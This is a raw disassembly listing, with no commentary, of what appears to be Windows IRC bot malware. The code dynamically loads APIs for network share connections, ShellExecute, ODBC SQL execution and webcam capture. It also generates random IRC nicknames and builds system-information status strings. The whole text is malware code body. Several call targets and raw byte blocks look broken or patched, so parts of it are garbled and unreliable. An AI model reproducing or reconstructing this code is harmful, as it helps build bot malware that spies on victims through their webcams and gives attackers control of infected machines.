push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CBA8C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CBA84, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CBA4C, eax call esi cmp dword_4CBA8C, ebx mov dword_4CB91C, eax jz short loc_40A481 cmp dword_4CBA84, ebx jz short loc_40A481 cmp dword_4CBA4C, ebx jz short loc_40A481 cmp eax, ebx jnz short loc_40A48B jmp short loc_40A481 ; --------------------------------------------------------------------------- loc_40A476: ; CODE XREF: sub_409909+B19j nop call near ptr 26808B7h mov dword_4CBAF8, eax loc_40A481: ; CODE XREF: sub_409909+B55j ; sub_409909+B5Dj ... mov dword_4CBAF4, 1 loc_40A48B: ; CODE XREF: sub_409909+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4C0 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CB950, eax call esi cmp dword_4CB950, ebx mov dword_4CBA58, eax jz short loc_40A4CB cmp eax, ebx jnz short loc_40A4D5 jmp short loc_40A4CB ; --------------------------------------------------------------------------- loc_40A4C0: ; CODE XREF: sub_409909+B8Dj nop call near ptr 26808B7h mov dword_4CBB00, eax loc_40A4CB: ; CODE XREF: sub_409909+BAFj ; sub_409909+BB5j mov dword_4CBAFC, 1 loc_40A4D5: ; CODE XREF: sub_409909+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A55E push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CBA20, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CBA6C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CB9A8, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CB960, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CBA00, eax call esi cmp dword_4CBA20, ebx mov dword_4CB970, eax jz short loc_40A569 cmp dword_4CBA6C, ebx jz short loc_40A569 cmp dword_4CB9A8, ebx jz short loc_40A569 cmp dword_4CB960, ebx jz short loc_40A569 cmp dword_4CBA00, ebx jz short loc_40A569 cmp eax, ebx jnz short loc_40A573 jmp short loc_40A569 ; --------------------------------------------------------------------------- loc_40A55E: ; CODE XREF: sub_409909+BD7j nop call near ptr 26808B7h mov dword_4CBB08, eax loc_40A569: ; CODE XREF: sub_409909+C2Dj ; sub_409909+C35j ... mov dword_4CBB04, 1 loc_40A573: ; CODE XREF: sub_409909+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5A8 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CB934, eax call esi cmp dword_4CB934, ebx mov dword_4CBA14, eax jz short loc_40A5B3 cmp eax, ebx jnz short loc_40A5BD jmp short loc_40A5B3 ; --------------------------------------------------------------------------- loc_40A5A8: ; CODE XREF: sub_409909+C75j nop call near ptr 26808B7h mov dword_4CBB10, eax loc_40A5B3: ; CODE XREF: sub_409909+C97j ; sub_409909+C9Dj mov dword_4CBB0C, 1 loc_40A5BD: ; CODE XREF: sub_409909+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5C5 proc near ; CODE XREF: sub_401ACD+2511p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CBAA4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A60D push dword_4CBAA8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A60D: ; CODE XREF: sub_40A5C5+1Aj cmp dword_4CBAAC, esi jz short loc_40A641 push dword_4CBAB0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A641: ; CODE XREF: sub_40A5C5+4Ej cmp dword_4CBAB4, esi jz short loc_40A675 push dword_4CBAB8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A675: ; CODE XREF: sub_40A5C5+82j cmp dword_4CBABC, esi jz short loc_40A6A9 push dword_4CBAC0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6A9: ; CODE XREF: sub_40A5C5+B6j cmp dword_4CBAC4, esi jz short loc_40A6DD push dword_4CBAC8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A6DD: ; CODE XREF: sub_40A5C5+EAj cmp dword_4CBACC, esi jz short loc_40A711 push dword_4CBAD0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A711: ; CODE XREF: sub_40A5C5+11Ej cmp dword_4CBAD4, esi jz short loc_40A745 push dword_4CBAD8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A745: ; CODE XREF: sub_40A5C5+152j cmp dword_4CBADC, esi jz short loc_40A779 push dword_4CBAE0 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A779: ; CODE XREF: sub_40A5C5+186j cmp dword_4CBAE4, esi jz short loc_40A7AD push dword_4CBAE8 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7AD: ; CODE XREF: sub_40A5C5+1BAj cmp dword_4CBAEC, esi jz short loc_40A7E1 push dword_4CBAF0 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A7E1: ; CODE XREF: sub_40A5C5+1EEj cmp dword_4CBAF4, esi jz short loc_40A815 push dword_4CBAF8 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A815: ; CODE XREF: sub_40A5C5+222j cmp dword_4CBAFC, esi jz short loc_40A849 push dword_4CBB00 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A849: ; CODE XREF: sub_40A5C5+256j cmp dword_4CBB04, esi jz short loc_40A87D push dword_4CBB08 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A87D: ; CODE XREF: sub_40A5C5+28Aj cmp dword_4CBB0C, esi jz short loc_40A8B1 push dword_4CBB10 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax loc_40A897: ; DATA XREF: ___:0043321Co ; ___:00433260o ... call sub_41C266 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 20h loc_40A8B1: ; CODE XREF: sub_40A5C5+2BEj lea eax, [ebp+var_200] push offset unk_42D6D4 push eax call sub_41C266 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8DE push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409869 add esp, 14h loc_40A8DE: ; CODE XREF: sub_40A5C5+302j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx pop edi pop esi pop ebx leave retn sub_40A5C5 endp ; =============== S U B R O U T I N E ======================================= sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5BC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz short locret_40A918 push [esp+arg_0] call dword_4CBA68 test eax, eax jnz short loc_40A911 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A911: ; CODE XREF: sub_40A8F0+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A918: ; CODE XREF: sub_40A8F0+Dj retn sub_40A8F0 endp ; =============== S U B R O U T I N E ======================================= sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CB900 xor eax, eax test ecx, ecx jz short locret_40A927 call ecx locret_40A927: ; CODE XREF: sub_40A919+Aj retn sub_40A919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CBA60 mov ecx, eax sub ecx, edi jz loc_40A9EE sub ecx, 32h jz loc_40A9E7 sub ecx, 48h jz short loc_40A988 sub ecx, 6Eh jz short loc_40A981 loc_40A96A: ; CODE XREF: sub_40A928+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8E8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40A9C8 ; --------------------------------------------------------------------------- loc_40A981: ; CODE XREF: sub_40A928+40j push offset unk_42D8C4 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A988: ; CODE XREF: sub_40A928+3Bj push [ebp+var_8] call sub_41BEB5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41BF70 add esp, 10h cmp esi, edi jz short loc_40A9B5 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CBA60 cmp eax, edi jz short loc_40A9EE jmp short loc_40A96A ; --------------------------------------------------------------------------- loc_40A9B5: ; CODE XREF: sub_40A928+79j push offset unk_42D894 loc_40A9BA: ; CODE XREF: sub_40A928+5Ej ; sub_40A928+C4j lea eax, [ebp+var_88] push eax call sub_41C266 pop ecx pop ecx loc_40A9C8: ; CODE XREF: sub_40A928+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415D38 pop ecx loc_40A9D8: ; CODE XREF: sub_40A928+C8j ; sub_40A928+DCj push esi call sub_41BA91 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9E7: ; CODE XREF: sub_40A928+32j push offset unk_42D864 jmp short loc_40A9BA ; --------------------------------------------------------------------------- loc_40A9EE: ; CODE XREF: sub_40A928+29j ; sub_40A928+89j cmp [esi], edi jbe short loc_40A9D8 lea ebx, [esi+4] loc_40A9F5: ; CODE XREF: sub_40A928+DAj push ebx call dword_4CBA5C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9F5 jmp short loc_40A9D8 sub_40A928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp ; sub_401ACD+233Ep ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CB988 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CBB14 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C266 add esp, 18h mov eax, esi pop esi leave retn sub_40AA06 endp ; =============== S U B R O U T I N E ======================================= sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp ; sub_413694+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA88 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA7B: ; CODE XREF: sub_40AA5F+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA7B pop edi jmp short loc_40AA8C ; --------------------------------------------------------------------------- loc_40AA88: ; CODE XREF: sub_40AA5F+Aj mov edx, [esp+4+arg_0] loc_40AA8C: ; CODE XREF: sub_40AA5F+27j test esi, esi pop esi jz short loc_40AA96 movzx ecx, byte ptr [edx] add eax, ecx loc_40AA96: ; CODE XREF: sub_40AA5F+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA5F endp ; =============== S U B R O U T I N E ======================================= sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p ; DATA XREF: ___:off_42D930o arg_0 = dword ptr 4 push esi push edi nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx call sub_41C2C2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D9AC[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AB14 loc_40AAEE: ; CODE XREF: sub_40AAAC+66j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A8 push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AAEE loc_40AB14: ; CODE XREF: sub_40AAAC+40j mov eax, edi pop edi pop esi retn sub_40AAAC endp ; --------------------------------------------------------------------------- db 56h, 57h, 90h dd 285B27E8h, 91E85002h, 8B000117h, 0C710247Ch, 913C2404h dd 0C4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h dd 0B8A86857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h dd 429098h, 0C78BDA7Ch ; --------------------------------------------------------------------------- pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ABBA loc_40ABA4: ; CODE XREF: sub_40AB77+41j call sub_41C2C2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ABA4 loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 2690648h nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431604 push eax push esi nop call near ptr 26C0000h movsx eax, byte_431604 push 41h pop ecx push 1 pop edx loc_40AC00: ; CODE XREF: ___:0040AC0Bj cmp eax, ecx jnz short loc_40AC07 mov [ebp-4], edx loc_40AC07: ; CODE XREF: ___:0040AC02j inc ecx cmp ecx, 5Bh jl short loc_40AC00 push 61h pop ecx loc_40AC10: ; CODE XREF: ___:0040AC1Bj cmp eax, ecx jnz short loc_40AC17 mov [ebp-4], edx loc_40AC17: ; CODE XREF: ___:0040AC12j inc ecx cmp ecx, 7Bh jl short loc_40AC10 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C360 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AC5C loc_40AC36: ; CODE XREF: ___:0040AC5Aj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A8 push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AC36 loc_40AC5C: ; CODE XREF: ___:0040AC34j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2690648h nop push eax call sub_41C2B8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26D0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431608 push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ACD1 loc_40ACAB: ; CODE XREF: ___:0040ACCFj call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A8 push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACAB loc_40ACD1: ; CODE XREF: ___:0040ACA9j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43DB98 mov dword ptr [ebp-94h], 94h nop call near ptr 26D0544h nop call near ptr 2690648h push eax call sub_41C2B8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD5B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD3B cmp dword ptr [ebp-84h], 1 jnz short loc_40AD2B mov esi, offset dword_431630 loc_40AD2B: ; CODE XREF: ___:0040AD24j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD97 mov esi, offset dword_43162C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD3B: ; CODE XREF: ___:0040AD1Bj cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD4B mov esi, offset dword_431628 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD4B: ; CODE XREF: ___:0040AD42j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD92 mov esi, offset dword_431624 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD5B: ; CODE XREF: ___:0040AD12j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD92 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD74 mov esi, offset dword_431620 jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD74: ; CODE XREF: ___:0040AD6Bj cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD84 mov esi, offset dword_43161C jmp short loc_40AD97 ; --------------------------------------------------------------------------- loc_40AD84: ; CODE XREF: ___:0040AD7Bj cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431618 jz short loc_40AD97 loc_40AD92: ; CODE XREF: ___:0040AD52j ; ___:0040AD62j mov esi, offset dword_431614 loc_40AD97: ; CODE XREF: ___:0040AD32j ; ___:0040AD39j ... mov edi, [ebp+8] push esi push offset dword_43160C push 1Ch push edi call sub_41C360 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40ADDB loc_40ADB5: ; CODE XREF: ___:0040ADD9j call sub_41C2C2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A8 push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ADB5 loc_40ADDB: ; CODE XREF: ___:0040ADB3j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi nop call near ptr 2690648h xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE30 call dword_4CB9F0 test eax, eax mov eax, offset off_43163C jnz short loc_40AE19 mov eax, offset byte_43DB98 loc_40AE19: ; CODE XREF: sub_40ADE1+31j push eax push esi push offset dword_431634 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C360 add esp, 14h jmp short loc_40AE50 ; --------------------------------------------------------------------------- loc_40AE30: ; CODE XREF: sub_40ADE1+22j call dword_4CB9F0 test eax, eax mov eax, offset off_43163C jnz short loc_40AE44 mov eax, offset byte_43DB98 loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C266 pop ecx pop ecx loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj lea eax, [ebp+var_1C] push eax call sub_41B9C0 pop ecx cmp eax, 2 pop esi jbe short loc_40AE7F push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41CBC0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BFD0 add esp, 18h loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D92C loc_40AE90: ; CODE XREF: sub_40AE84+3Fj cmp [ebp+arg_C], 0 jz short loc_40AEAB lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41CA50 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEB5 ; --------------------------------------------------------------------------- loc_40AEAB: ; CODE XREF: sub_40AE84+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEB5: ; CODE XREF: sub_40AE84+25j test eax, eax jnz short loc_40AEC7 add esi, 14h inc edi cmp esi, offset off_42D9B8 jb short loc_40AE90 jmp short loc_40AED5 ; --------------------------------------------------------------------------- loc_40AEC7: ; CODE XREF: sub_40AE84+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D930[eax*4] pop ecx loc_40AED5: ; CODE XREF: sub_40AE84+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEE8 push [ebp+arg_0] call sub_40ADE1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEE8: ; CODE XREF: sub_40AE84+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE84 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43DB98 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26D0544h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF67 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF48 cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF38 mov edi, offset dword_431630 loc_40AF38: ; CODE XREF: ___:0040AF31j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AFA3 mov edi, offset dword_43162C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF48: ; CODE XREF: ___:0040AF28j cmp [ebp-0B0h], ebx jnz short loc_40AF57 mov edi, offset dword_431628 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF57: ; CODE XREF: ___:0040AF4Ej cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF9E mov edi, offset dword_431624 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF67: ; CODE XREF: ___:0040AF1Fj cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF9E cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF80 mov edi, offset dword_431620 jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF80: ; CODE XREF: ___:0040AF77j cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF90 mov edi, offset dword_43161C jmp short loc_40AFA3 ; --------------------------------------------------------------------------- loc_40AF90: ; CODE XREF: ___:0040AF87j cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431694 jz short loc_40AFA3 loc_40AF9E: ; CODE XREF: ___:0040AF5Ej ; ___:0040AF6Ej mov edi, offset dword_431690 loc_40AFA3: ; CODE XREF: ___:0040AF3Fj ; ___:0040AF46j ... lea eax, [ebp-0A4h] push offset word_4CB89C push eax call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_40AFC1 mov esi, offset dword_43168C jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFC1: ; CODE XREF: ___:0040AFB8j lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFDF mov esi, offset sub_431688 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFDF: ; CODE XREF: ___:0040AFD6j lea eax, [ebp-0A4h] push offset dword_431684 push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40AFFD mov esi, offset dword_431680 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40AFFD: ; CODE XREF: ___:0040AFF4j lea eax, [ebp-0A4h] push offset dword_43167C push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_40B01B mov esi, offset dword_431678 jmp short loc_40B03C ; --------------------------------------------------------------------------- loc_40B01B: ; CODE XREF: ___:0040B012j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C2E0 pop ecx mov esi, offset dword_431670 test eax, eax pop ecx jnz short loc_40B03C mov esi, offset off_43166C loc_40B03C: ; CODE XREF: ___:0040AFBFj ; ___:0040AFDDj ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41ADD8 pop ecx push eax call sub_41CCE3 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B086 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C360 add esp, 10h jmp short loc_40B0AA ; --------------------------------------------------------------------------- loc_40B086: ; CODE XREF: ___:0040B06Fj cmp eax, 64h jge short loc_40B098 lea ecx, [ebp-18h] push ebx push ecx push eax call sub_42635C jmp short loc_40B0A7 ; --------------------------------------------------------------------------- loc_40B098: ; CODE XREF: ___:0040B089j push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C360 loc_40B0A7: ; CODE XREF: ___:0040B096j add esp, 0Ch loc_40B0AA: ; CODE XREF: ___:0040B084j nop call near ptr 2690648h push eax call sub_41C2B8 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26D0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C360 xor esi, esi add esp, 1Ch cmp dword_429098, esi jle short loc_40B115 loc_40B0F0: ; CODE XREF: ___:0040B113j call sub_41C2C2 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B8A8 push 1Ch push edi call sub_41C360 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40B0F0 loc_40B115: ; CODE XREF: ___:0040B0EEj mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap ; sub_40B214+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B9C0 push [esp+8+arg_4] mov esi, eax call sub_41B9C0 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B11C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B13C proc near ; CODE XREF: sub_40B22B+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B11C cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B159 